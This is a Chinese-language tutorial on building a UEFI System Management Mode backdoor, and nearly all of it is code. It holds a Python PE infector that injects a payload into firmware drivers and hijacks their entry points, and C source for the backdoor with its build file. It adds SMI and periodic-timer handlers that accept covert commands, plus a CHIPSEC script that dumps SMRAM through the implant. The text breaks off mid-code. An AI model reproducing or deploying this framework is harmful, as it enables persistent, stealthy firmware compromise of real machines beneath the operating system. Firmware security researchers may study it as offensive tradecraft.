基于UEFI平台的SMM后门构建

typedef
EFI_STATUS
(EFIAPI * EFI_IMAGE_ENTRY_POINT) (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
);

//
// System Management System Table (SMST)
//
// 系统管理系统表(SMST)是一个包含管理SMRAM分配和提供基本I/O服务的公共服务集合的表。
// 这些服务用于预引导和runtime时使用。
//
struct _EFI_SMM_SYSTEM_TABLE2
{
// SMST的表头.
EFI_TABLE_HEADER Hdr;
// 指向包含供应商名称的以空结尾的Unicode字符串的指针。
// 这个指针可以为空。
CHAR16 *SmmFirmwareVendor;

// 固件的特殊修订
UINT32 SmmFirmwareRevision;

// 从SMST中添加、更新或删除配置表项。
EFI_SMM_INSTALL_CONFIGURATION_TABLE2 SmmInstallConfigurationTable;

// I/O Service
EFI_SMM_CPU_IO2_PROTOCOL SmmIo;

//
// Runtime memory services
//

// 从SMRAM中分配内存池
EFI_ALLOCATE_POOL SmmAllocatePool;

// 向系统返回SMRAM内存池
EFI_FREE_POOL SmmFreePool;

// 从SMRAM中分配内存页
EFI_ALLOCATE_PAGES SmmAllocatePages;

// 将内存页释放给系统
EFI_FREE_PAGES SmmFreePages;

// 在SMM中，在一个不同的应用程序处理器上执行调用者提供的代码流。
EFI_SMM_STARTUP_THIS_AP SmmStartupThisAp;

//
// CPU 信息记录
//

// 一个介于0和NumberOfCpus字段之间的数字。
// 该字段指定哪个处理器正在执行SMM基础架构。
UINTN CurrentlyExecutingCpu;

// 平台中可能的处理器数量。这是一个基于1的计数器。
UINTN NumberOfCpus;

// 指向一个数组
// 其中每个元素描述了由CpuSavaState指定的相应保存状态中的字节数
// 数组中总是有大量的cpu条目
UINTN *CpuSaveStateSize;

// 指向一个数组，其中每个元素都是一个指向CPU保存状态的指针。
// CpuSaveStateSize中相应的元素指定了保存状态区域的字节数。
// 数组中总是有大量的cpu条目
VOID **CpuSaveState;

//
// 扩展表
//

// 缓冲区SmmConfigurationTable中UEFI配置表的个数。
UINTN NumberOfTableEntries;

// 指向UEFI配置表的指针。
// 表中的条目数为NumberOfTableEntries。
EFI_CONFIGURATION_TABLE *SmmConfigurationTable;

//
// Protocol services
//

// 安装SMM协议接口。
EFI_INSTALL_PROTOCOL_INTERFACE SmmInstallProtocolInterface;

// 卸载SMM协议接口
EFI_UNINSTALL_PROTOCOL_INTERFACE SmmUninstallProtocolInterface;

// 查询句柄，以确定其是否支持指定的SMM协议。
EFI_HANDLE_PROTOCOL SmmHandleProtocol;

// 注册一个在安装特定协议接口时被调用的回调函数。
EFI_SMM_REGISTER_PROTOCOL_NOTIFY SmmRegisterProtocolNotify;

// 返回支持指定协议的句柄数组。
EFI_LOCATE_HANDLE SmmLocateHandle;

// 返回与给定协议匹配的第一个SMM协议实例。
EFI_LOCATE_PROTOCOL SmmLocateProtocol;

//
// SMI Management函数
//

// 管理特定类型的SMI。
EFI_SMM_INTERRUPT_MANAGE SmiManage;

// 注册一个要在SMM中执行的handler。
EFI_SMM_INTERRUPT_REGISTER SmiHandlerRegister;

// 在SMM中注销handler。
EFI_SMM_INTERRUPT_UNREGISTER SmiHandlerUnRegister;
};

DWORD __stdcall EntryPoint(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_SYSTEM_TABLE *v2; // rbx@1
PVOID v3; // rdi@1

v2 = SystemTable;
v3 = ImageHandle;

// 初始化ImageHandle和SystemTable的全局变量
sub_180002074(ImageHandle, SystemTable);

// do the stuff
return sub_180001FD0(v3, v2);
}

EFI_RUNTIME_SERVICES * __fastcall sub_180002074(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_RUNTIME_SERVICES *v2; // rax@2

if (!gST)
{
gST = SystemTable;
gBS = SystemTable->BootServices;
v2 = SystemTable->RuntimeServices;
gImageHandle = ImageHandle;
gRuntimeServices = v2;
}

return v2;
}

DWORD __fastcall sub_180001FD0(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_SYSTEM_TABLE *v2; // rbx@1
PVOID v3; // rdi@1
__int64 v4; // rax@1
char v6; // [sp+38h] [bp+10h]@1

v2 = SystemTable;
v3 = ImageHandle;
bInSmm = 0;

// 执行各种初始化
sub_180002074(ImageHandle, SystemTable);

// 定位 EFI_SMM_BASE2_PROTOCOL
LODWORD(v4) = v2->BootServices->LocateProtocol(
&gEfiSmmBase2ProtocolGuid,
0i64,
&gEfiSmmBase2Protocol
);
if (v4 & 0x8000000000000000)
{
if (v4 != 0x800000000000000E)
{
return 3;
}

bInSmm = 0;

// 如果没找到EFI_SMM_BASE2_PROTOCOL , 则执行 DXE 相关操作
return sub_180001F54(v3, v2);
}

gEfiSmmBase2Protocol->InSmm(gEfiSmmBase2Protocol, &bInSmm);
if (!bInSmm)
{
// 找到了EFI_SMM_BASE2_PROTOCOL但不在SMM中 ,则执行 DXE 相关操作
return sub_180001F54(v3, v2);
}

// 驱动加载到SMRAM中，执行SMM相关操作
return sub_180001ED8(v3, v2);
}

int __fastcall sub_180001ED8(void *a1, EFI_SYSTEM_TABLE *a2)
{
__int64 v2; // rax@1
__int64 v3; // rax@3

// 执行各种SMM驱动初始化
LODWORD(v2) = sub_1800021D8(a1, a2);

if (!(v2 & 0x8000000000000000))
{
LODWORD(v2) = sub_180000610(1);

if (!(v2 & 0x8000000000000000))
{
// 获取SMM表的地址
LODWORD(v3) = gEfiSmmBase2Protocol->GetSmstLocation(
gEfiSmmBase2Protocol,
&gSMST
);
if (v3 & 0x8000000000000000 || !gSMST)
{
// error：无法获取 SMST地址
LODWORD(v2) = 3;
}
else
{
// 执行其他SMM驱动操作
// ...
}
}
}

return v2;
}

# see struct _INFECTOR_CONFIG in SmmBackdoor.h
INFECTOR_CONFIG_SECTION = '.conf'
INFECTOR_CONFIG_FMT = 'QI'
INFECTOR_CONFIG_LEN = 8 + 4

# IMAGE_DOS_HEADER.e_res 标记被感染文件的magic常数
INFECTOR_SIGN = 'INFECTED'

# 用payload感染src image，并可选择将其保存到dst
def infect(src, payload, dst = None):

import pefile

def _infector_config_offset(pe):

for section in pe.sections:

# 找到 payload image的.conf节
if section.Name[: len(INFECTOR_CONFIG_SECTION)] == INFECTOR_CONFIG_SECTION:

return section.PointerToRawData

raise Exception('Unable to find %s section' % INFECTOR_CONFIG_SECTION)

def _infector_config_get(pe, data):

offs = _infector_config_offset(pe)

return unpack(INFECTOR_CONFIG_FMT, data[offs : offs + INFECTOR_CONFIG_LEN])

def _infector_config_set(pe, data, *args):

offs = _infector_config_offset(pe)

return data[: offs] + \
pack(INFECTOR_CONFIG_FMT, *args) + \
data[offs + INFECTOR_CONFIG_LEN :]

# 加载目标 image
pe_src = pefile.PE(src)

# 加载payload image
pe_payload = pefile.PE(payload)

if pe_src.DOS_HEADER.e_res == INFECTOR_SIGN:

raise Exception('%s is already infected' % src)

if pe_src.FILE_HEADER.Machine != pe_payload.FILE_HEADER.Machine:

raise Exception('Architecture missmatch')

# 将payload image数据读入字符串
data = open(payload, 'rb').read()

# 读取_INFECTOR_CONFIG，这个结构体位于payload image的.conf节
conf_ep_new, conf_ep_old = _infector_config_get(pe_payload, data)

last_section = None
for section in pe_src.sections:

# 找到目标 image的最后一个节
last_section = section

if last_section.Misc_VirtualSize > last_section.SizeOfRawData:

raise Exception('Last section virtual size must be less or equal than raw size')

# 保存目标 image的原始入口地址
conf_ep_old = pe_src.OPTIONAL_HEADER.AddressOfEntryPoint

# 将更新后的_INFECTOR_CONFIG写入payload image
data = _infector_config_set(pe_payload, data, conf_ep_new, conf_ep_old)

# 设置目标 image的新入口点
pe_src.OPTIONAL_HEADER.AddressOfEntryPoint = \
last_section.VirtualAddress + last_section.SizeOfRawData + conf_ep_new

# 更新最后一个节的大小
last_section.SizeOfRawData += len(data)
last_section.Misc_VirtualSize = last_section.SizeOfRawData

# 使其可执行
last_section.Characteristics = pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_READ'] | \
pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_WRITE'] | \
pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']

# 更新 image文件头
pe_src.DOS_HEADER.e_res = INFECTOR_SIGN
pe_src.OPTIONAL_HEADER.SizeOfImage = \
last_section.VirtualAddress + last_section.Misc_VirtualSize

# 获取受感染的 image数据
data = pe_src.write() + data

if dst is not None:

with open(dst, 'wb') as fd:

# save infected image to the file
fd.write(data)

return data

// file: SmmBackdoor.c
// UEFI SMM foundation headers
#include <FrameworkSmm.h>

// required EDK protocols
#include <Protocol/LoadedImage.h>
#include <Protocol/SmmCpu.h>
#include <Protocol/SmmBase2.h>
#include <Protocol/SmmAccess2.h>
#include <Protocol/SmmSwDispatch2.h>
#include <Protocol/SmmPeriodicTimerDispatch2.h>
#include <Protocol/DevicePath.h>
#include <Protocol/SerialIo.h>

// required EDK libraries
#include <Library/UefiDriverEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/DebugLib.h>
#include <Library/DevicePathLib.h>
#include <Library/UefiRuntimeLib.h>
#include <Library/SynchronizationLib.h>

// PE image structures
#include <IndustryStandard/PeImage.h>

#include "config.h"
#include "common.h"
#include "printf.h"
#include "debug.h"
#include "loader.h"
#include "SmmBackdoor.h"

#include "asm/common_asm.h"

// 该函数为被感染 image的入口点
EFI_STATUS
BackdoorEntryInfected(
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable
);

#pragma section(".conf", read, write)

// 为感染器提供PE image节的信息
__declspec(allocate(".conf")) INFECTOR_CONFIG m_InfectorConfig =
{
// 被感染文件的新入口点地址
(PVOID)&BackdoorEntryInfected,

// 旧入口点地址 (将被感染器设置)
0
};

// DXE and runtime 阶段的API
EFI_SYSTEM_TABLE *gST;
EFI_BOOT_SERVICES *gBS;
EFI_RUNTIME_SERVICES *gRT;

// SMM 阶段的API
EFI_SMM_SYSTEM_TABLE2 *gSmst = NULL;

BOOLEAN m_bInfectedImage = FALSE;
EFI_HANDLE m_ImageHandle = NULL;
PVOID m_ImageBase = NULL;
//--------------------------------------------------------------------------------------
PVOID BackdoorImageAddress(void)
{
PVOID Addr = _get_addr();
UINT64 Base = ALIGN_DOWN((UINT64)Addr, DEFAULT_EDK_ALIGN);

// 通过模块内部地址获取当前模块的基址
while (*(PUSHORT)Base != EFI_IMAGE_DOS_SIGNATURE)
{
Base -= DEFAULT_EDK_ALIGN;
}

return Base;
}
//--------------------------------------------------------------------------------------
EFI_STATUS BackdoorImageCallRealEntry(
PVOID Image,
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable)
{
if (m_InfectorConfig.OriginalEntryPoint != 0)
{
EFI_IMAGE_ENTRY_POINT pEntry = (EFI_IMAGE_ENTRY_POINT)RVATOVA(
Image,
m_InfectorConfig.OriginalEntryPoint
);

// 调用原始入口点
return pEntry(ImageHandle, SystemTable);
}

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntryDxe(VOID)
{
// DXE 阶段 payload 代码
// ...
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
// SMM 阶段 payload 代码
// ...
}
//--------------------------------------------------------------------------------------
EFI_STATUS
BackdoorEntryInfected(
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable)
{
// 获取payload image地址
PVOID Base = BackdoorImageAddress();

// 更新payload image的重定位基址
LdrProcessRelocs(Base, Base);

// 调用LdrProcessRelocs()之后，就可以使用全局变量和数据了
m_ImageBase = Base;

// 调用payload image的原始入口点
return BackdoorEntry(
ImageHandle,
SystemTable
);
}
//--------------------------------------------------------------------------------------
EFI_STATUS
BackdoorEntry(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable)
{
EFI_STATUS Ret = EFI_SUCCESS, Status = EFI_SUCCESS;
BOOLEAN bInSmram = FALSE;
PVOID Image = NULL;

EFI_LOADED_IMAGE *LoadedImage = NULL;
EFI_SMM_BASE2_PROTOCOL *SmmBase = NULL;

if (m_ImageHandle == NULL)
{
m_ImageHandle = ImageHandle;

gST = SystemTable;
gBS = gST->BootServices;
gRT = gST->RuntimeServices;

DbgMsg(__FILE__, __LINE__, "BackdoorEntry() called\r\n");

// 获取当前 image的信息
gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID *)&LoadedImage);

if (m_ImageBase == NULL)
{
// payload image作为独立的EFI应用程序或驱动程序加载
m_bInfectedImage = FALSE;
m_ImageBase = LoadedImage->ImageBase;

DbgMsg(__FILE__, __LINE__, "Started as standalone driver/app\r\n");
}
else
{
// payload image被加载为感染者payload
m_bInfectedImage = TRUE;

DbgMsg(__FILE__, __LINE__, "Started as infector payload\r\n");
}

DbgMsg(__FILE__, __LINE__, "Image base address is "FPTR"\r\n", m_ImageBase);
}

Status = gBS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL, (PVOID *)&SmmBase);
if (Status == EFI_SUCCESS)
{
// 检测被感染的驱动程序是否正在SMM中运行
SmmBase->InSmm(SmmBase, &bInSmram);

if (bInSmram)
{
DbgMsg(__FILE__, __LINE__, "Running in SMM\r\n");

Status = SmmBase->GetSmstLocation(SmmBase, &gSmst);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SMM system table is at "FPTR"\r\n", gSmst);

// 运行SMM特定代码
BackdoorEntrySmm();
}
else
{
DbgMsg(__FILE__, __LINE__, "GetSmstLocation() fails: 0x%X\r\n", Status);
}
}
}

if (!bInSmram)
{
// 运行DXE特定代码
BackdoorEntryDxe();
}

if (m_bInfectedImage)
{
// 调用被感染 image的原始入口点
Ret = BackdoorImageCallRealEntry(LoadedImage->ImageBase, ImageHandle, SystemTable);
}

return Ret;
}
//--------------------------------------------------------------------------------------
// EoF

# main settings
[defines]
INF_VERSION = 0x00010005
BASE_NAME = SmmBackdoor
FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 # random one
MODULE_TYPE = DXE_SMM_DRIVER
ENTRY_POINT = BackdoorEntry

# C sources
[Sources]
debug.c
loader.c
printf.c
serial.c
SmmBackdoor.c

# architecture-specific assembly sources
[Sources.X64]
asm/amd64/common_asm.asm

# required EDK packages
[Packages]
MdePkg/MdePkg.dec
MdeModulePkg/MdeModulePkg.dec
IntelFrameworkPkg/IntelFrameworkPkg.dec
IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec
StdLib/StdLib.dec

# required EDK libraries
[LibraryClasses]
UefiDriverEntryPoint
UefiBootServicesTableLib
DebugLib
DevicePathLib
SynchronizationLib

# required EDK protocols
[Protocols]
gEfiSimpleTextOutProtocolGuid
gEfiLoadedImageProtocolGuid
gEfiSmmCpuProtocolGuid
gEfiSmmBase2ProtocolGuid
gEfiSmmAccess2ProtocolGuid
gEfiSmmSwDispatch2ProtocolGuid
gEfiSmmPeriodicTimerDispatch2ProtocolGuid
gEfiDevicePathProtocolGuid
gEfiSerialIoProtocolGuid

# load order dependencies (none)
[Depex]
TRUE

#
# 3-rd party drivers
#
SmmBackdoor/SmmBackdoor.inf {

DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
}

// software SMI handler number to communicate with the backdoor
#define BACKDOOR_SW_SMI_VAL 0xCC
// software SMI handler register context
EFI_SMM_SW_REGISTER_CONTEXT m_SwDispatch2RegCtx = { BACKDOOR_SW_SMI_VAL };

EFI_STATUS EFIAPI SwDispatch2Handler(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize)
{
EFI_SMM_SW_CONTEXT *SwContext = (EFI_SMM_SW_CONTEXT *)CommBuffer;
EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL;
EFI_STATUS Status = EFI_SUCCESS;

DbgMsg(
__FILE__, __LINE__,
__FUNCTION__"(): command port = 0x%X, data port = 0x%X\r\n",
SwContext->CommandPort, SwContext->DataPort
);

// 获取 SMM CPU协议
Status = gSmst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu);
if (Status == EFI_SUCCESS)
{
UINT64 Rcx = 0;

// 从CPU保存状态查询RCX寄存器值
Status = SmmCpu->ReadSaveState(
SmmCpu, sizeof(Rcx), EFI_SMM_SAVE_STATE_REGISTER_RCX,
SwContext->SwSmiCpuIndex, (PVOID)&Rcx
);
if (EFI_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status);
goto _end;
}

// 处理请求句柄
// ...
}
else
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status);
}

_end:

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
EFI_STATUS EFIAPI SwDispatch2ProtocolNotifyHandler(
CONST EFI_GUID *Protocol,
VOID *Interface,
EFI_HANDLE Handle)
{
EFI_STATUS Status = EFI_SUCCESS;
EFI_HANDLE DispatchHandle = NULL;

// 获取目标协议
EFI_SMM_SW_DISPATCH2_PROTOCOL *SwDispatch = (EFI_SMM_SW_DISPATCH2_PROTOCOL *)Interface;

DbgMsg(__FILE__, __LINE__, "Max. SW SMI value is 0x%X\r\n", SwDispatch->MaximumSwiValue);

// register software SMI handler
Status = SwDispatch->Register(
SwDispatch,
SwDispatch2Handler,
&m_SwDispatch2RegCtx,
&DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SW SMI handler is at "FPTR"\r\n", SwDispatch2Handler);
}
else
{
DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status);
}

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// 注册SMM协议信息
EFI_STATUS Status = gSmst->SmmRegisterProtocolNotify(
&gEfiSmmSwDispatch2ProtocolGuid,
SwDispatch2ProtocolNotifyHandler,
&Registration
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM protocol notify handler is at "FPTR"\r\n",
SwDispatch2ProtocolNotifyHandler
);
}
else
{
DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status);
}

// ... skipped ...
}

typedef struct _BACKDOOR_INFO
{
// 已调用的SMI个数
UINTN CallsCount;
// EFI_STATUS 最后的操作
UINTN BackdoorStatus;

// 带有可用SMRAM区域信息的结构体列表。
// EFI_SMRAM_DESCRIPTOR的值为零。PhysicalStart表示列表的最后一项。
EFI_SMRAM_DESCRIPTOR SmramMap[];

} BACKDOOR_INFO,
*PBACKDOOR_INFO;

import sys, os
from struct import pack, unpack
# CHIPSEC目录路径
CHIPSEC_PATH = '/opt/chipsec/source/tool'

sys.path.append(CHIPSEC_PATH)

# SW SMI和后门SMM代码通信的命令值
BACKDOOR_SW_SMI_VAL = 0xCC

# 对后门的SW SMI命令
BACKDOOR_SW_DATA_READ_PHYS_MEM = 1 # 读取物理内存命令

# EFI变量和_BACKDOOR_INFO结构体的物理地址
BACKDOOR_INFO_EFI_VAR = 'SmmBackdoorInfo-3a452e85-a7ca-438f-a5cb-ad3a70c5d01b'
BACKDOOR_INFO_FMT = 'QQ'
BACKDOOR_INFO_LEN = 8 * 2

PAGE_SIZE = 0x1000

cs = None

class Chipsec(object):

def __init__(self, uefi, mem, ints):

self.uefi, self.mem, self.ints = uefi, mem, ints

def efi_var_get(name):

# 解析name-GUID格式的字符串变量
name = name.split('-')

return cs.uefi.get_EFI_variable(name[0], '-'.join(name[1:]), None)

# helpers for EFI variables with numeric value
efi_var_get_8 = lambda name: unpack('B', efi_var_get(name))[0]
efi_var_get_16 = lambda name: unpack('H', efi_var_get(name))[0]
efi_var_get_32 = lambda name: unpack('I', efi_var_get(name))[0]
efi_var_get_64 = lambda name: unpack('Q', efi_var_get(name))[0]

def mem_read(addr, size):

return cs.mem.read_phys_mem(addr, size)

# helpers to read numeric values from physical memory
mem_read_8 = lambda addr: unpack('B', mem_read(addr, 1))[0]
mem_read_16 = lambda addr: unpack('H', mem_read(addr, 2))[0]
mem_read_32 = lambda addr: unpack('I', mem_read(addr, 4))[0]
mem_read_64 = lambda addr: unpack('Q', mem_read(addr, 8))[0]

def get_backdoor_info_addr():

# BACKDOOR_INFO结构体物理内存的返回地址
return efi_var_get_64(BACKDOOR_INFO_EFI_VAR)

def get_backdoor_info(addr = None):

addr = get_backdoor_info_addr() if addr is None else addr

# 返回BACKDOOR_INFO结构体的字段值
return unpack(BACKDOOR_INFO_FMT, mem_read(addr, BACKDOOR_INFO_LEN))

def get_backdoor_info_mem(addr = None):

addr = get_backdoor_info_addr() if addr is None else addr

# 返回BACKDOOR_INFO结构体的raw数据
return mem_read(addr + PAGE_SIZE, PAGE_SIZE)

def get_smram_info():

ret = []
backdoor_info = get_backdoor_info_addr()
addr, size = backdoor_info + BACKDOOR_INFO_LEN, 8 * 4

# dump EFI_SMRAM_DESCRIPTOR结构体的数组
while True:

'''
typedef struct _EFI_SMRAM_DESCRIPTOR
{
EFI_PHYSICAL_ADDRESS PhysicalStart;
EFI_PHYSICAL_ADDRESS CpuStart;
UINT64 PhysicalSize;
UINT64 RegionState;

} EFI_SMRAM_DESCRIPTOR;
'''
physical_start, cpu_start, physical_size, region_state = \
unpack('Q' * 4, mem_read(addr, size))

if physical_start == 0:

# no more items
break

ret.append(( physical_start, physical_size, region_state ))
addr += size

return ret

def send_sw_smi(command, data, arg):

# 生成SW SMI:数据写入B2h端口，arg拷贝到RCX寄存器
cs.ints.send_SW_SMI(command, data, 0, 0, arg, 0, 0, 0)

def dump_mem_page(addr, count = None):

ret = ''
backdoor_info = get_backdoor_info_addr()
count = 1 if count is None else count

# 从addr开始dump指定数量的内存页
for i in range(count):

# 发送读取内存的命令到SMM代码
page_addr = addr + PAGE_SIZE * i
send_sw_smi(BACKDOOR_SW_SMI_VAL, BACKDOOR_SW_DATA_READ_PHYS_MEM, page_addr)

# 从物理内存中读取被转储的页
_, last_status = get_backdoor_info(addr = backdoor_info)
if last_status != 0:

raise Exception('SMM backdoor error 0x%.8x' % last_status)

ret += get_backdoor_info_mem(addr = backdoor_info)

return ret

def dump_smram():

try:

contents = []

print '[+] Dumping SMRAM regions, this may take a while...'

# 枚举并转储可用的SMRAM区域
for region in get_smram_info():

region_addr, region_size, _ = region
name = 'SMRAM_dump_%.8x_%.8x.bin' % (region_addr, region_addr + region_size - 1)

# 转储区域内容
data = dump_mem_page(region_addr, region_size / PAGE_SIZE)

contents.append(( name, data ))

# 保存转储的数据到文件
for name, data in contents:

with open(name, 'wb') as fd:

print '[+] Creating', name
fd.write(data)

except IOError, why:

print '[!]', str(why)
return False

def chipsec_init():

global cs

# import CHIPSEC modules
import chipsec.chipset
import chipsec.hal.uefi
import chipsec.hal.physmem
import chipsec.hal.interrupts

# initialize helper
_cs = chipsec.chipset.cs()
_cs.init(None, True)

cs = Chipsec(chipsec.hal.uefi.UEFI(_cs.helper),
chipsec.hal.physmem.Memory(_cs.helper),
chipsec.hal.interrupts.Interrupts(_cs))

if __name__ == '__main__':

chipsec_init()
dump_smram()

// periodic timer 全局变量
EFI_HANDLE m_PeriodicTimerDispatchHandle = NULL;
EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *m_PeriodicTimerDispatch = NULL;
/*
SMM periodic timer注册上下文，包含Period和TickInterval值。
阅读平台初始化规范第4卷中EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL
的描述信息以获得更多关于它们的信息。
*/
EFI_SMM_PERIODIC_TIMER_REGISTER_CONTEXT m_PeriodicTimerDispatch2RegCtx = { 1000000, 640000 };

/*
这个结构体保存CPU saved state中控制寄存器的值，
这些值用于虚拟地址到物理地址的转换

*/
typedef struct _CONTROL_REGS
{
UINT64 Cr0, Cr3, Cr4;

} CONTROL_REGS,
*PCONTROL_REGS;

// 这个宏从CPU execution state中保存的SMRAM中读取寄存器值
#define READ_SAVE_STATE(_id_, _var_) \
\
Status = SmmCpu->ReadSaveState(SmmCpu, \
sizeof((_var_)), (_id_), gSmst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \
\
if (EFI_ERROR(Status)) \
{ \
DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); \
goto _end; \
}

// 这个宏用于修改CPU execution state的寄存器值
#define WRITE_SAVE_STATE(_id_, _var_, _val_) \
\
(_var_) = (UINT64)(_val_); \
Status = SmmCpu->WriteSaveState(SmmCpu, \
sizeof((_var_)), (_id_), gSmst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \
\
if (EFI_ERROR(Status)) \
{ \
DbgMsg(__FILE__, __LINE__, "WriteSaveState() fails: 0x%X\r\n", Status); \
goto _end; \
}

#define MAX_JUMP_SIZE 6

EFI_STATUS EFIAPI PeriodicTimerDispatch2Handler(
EFI_HANDLE DispatchHandle, CONST VOID *Context,
VOID *CommBuffer, UINTN *CommBufferSize)
{
EFI_STATUS Status = EFI_SUCCESS;
EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL;

// 获取SMM CPU协议
Status = gSmst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu);
if (Status == EFI_SUCCESS)
{
CONTROL_REGS ControlRegs;
UINT64 Rax = 0, Rcx = 0, Rdx = 0, Rdi = 0, Rsi = 0, R8 = 0, R9 = 0;

READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR0, ControlRegs.Cr0);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR3, ControlRegs.Cr3);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR4, ControlRegs.Cr4);
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx); // user-mode instruction pointer
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDI, Rdi); // 1-st param (code)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RSI, Rsi); // 2-nd param (arg1)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDX, Rdx); // 3-rd param (arg2)
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R8, R8); // 1-st magic constant
READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R9, R9); // 2-nd magic constant

/*
检查在smm_call()中设置的magic值，
查看 smm_call/smm_call.asm 以获取更多信息
*/
if (R8 == BACKDOOR_SMM_CALL_R8_VAL && R9 == BACKDOOR_SMM_CALL_R9_VAL)
{
DbgMsg(
__FILE__, __LINE__,
"smm_call(): CPU #%d, RDI = 0x%llx, RSI = 0x%llx, RDX = 0x%llx\r\n",
gSmst->CurrentlyExecutingCpu, Rdi, Rsi, Rdx
);

// 处理后门控制请求
// ...

// 设置smm_call()的返回值
WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RAX, Rax, Status);

// 让代码退出死循环
WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx, Rcx - MAX_JUMP_SIZE);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status);
}

_end:

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
EFI_STATUS PeriodicTimerDispatch2Register(EFI_HANDLE *DispatchHandle)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;

if (m_PeriodicTimerDispatch)
{
// 注册periodic timer例程
Status = m_PeriodicTimerDispatch->Register(
m_PeriodicTimerDispatch,
PeriodicTimerDispatch2Handler,
&m_PeriodicTimerDispatch2RegCtx,
DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM timer handler is at "FPTR"\r\n",
PeriodicTimerDispatch2Handler
);
}
else
{
DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status);
}
}

return Status;
}
//--------------------------------------------------------------------------------------
EFI_STATUS PeriodicTimerDispatch2Unregister(EFI_HANDLE DispatchHandle)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;

if (m_PeriodicTimerDispatch)
{
// 卸载 periodic timer例程
Status = m_PeriodicTimerDispatch->UnRegister(
m_PeriodicTimerDispatch,
DispatchHandle
);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SMM timer handler unregistered\r\n");
}
else
{
DbgMsg(__FILE__, __LINE__, "Unregister() fails: 0x%X\r\n", Status);
}
}

return Status;
}
//--------------------------------------------------------------------------------------
EFI_STATUS EFIAPI PeriodicTimerDispatch2ProtocolNotifyHandler(
CONST EFI_GUID *Protocol,
VOID *Interface,
EFI_HANDLE Handle)
{
EFI_STATUS Status = EFI_SUCCESS;
UINT64 *SmiTickInterval = NULL;

// 获取目标协议
m_PeriodicTimerDispatch =
(EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *)Interface;

// 启用periodic timer SMI
PeriodicTimerDispatch2Register(m_PeriodicTimerDispatchHandle);

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
PVOID Registration = NULL;

// ... skipped ...

// 注册 SMM 协议信息
EFI_STATUS Status = gSmst->SmmRegisterProtocolNotify(
&gEfiSmmPeriodicTimerDispatch2ProtocolGuid,
PeriodicTimerDispatch2ProtocolNotifyHandler,
&Registration
);
if (Status == EFI_SUCCESS)
{
DbgMsg(
__FILE__, __LINE__, "SMM protocol notify handler is at "FPTR"\r\n",
PeriodicTimerDispatch2ProtocolNotifyHandler
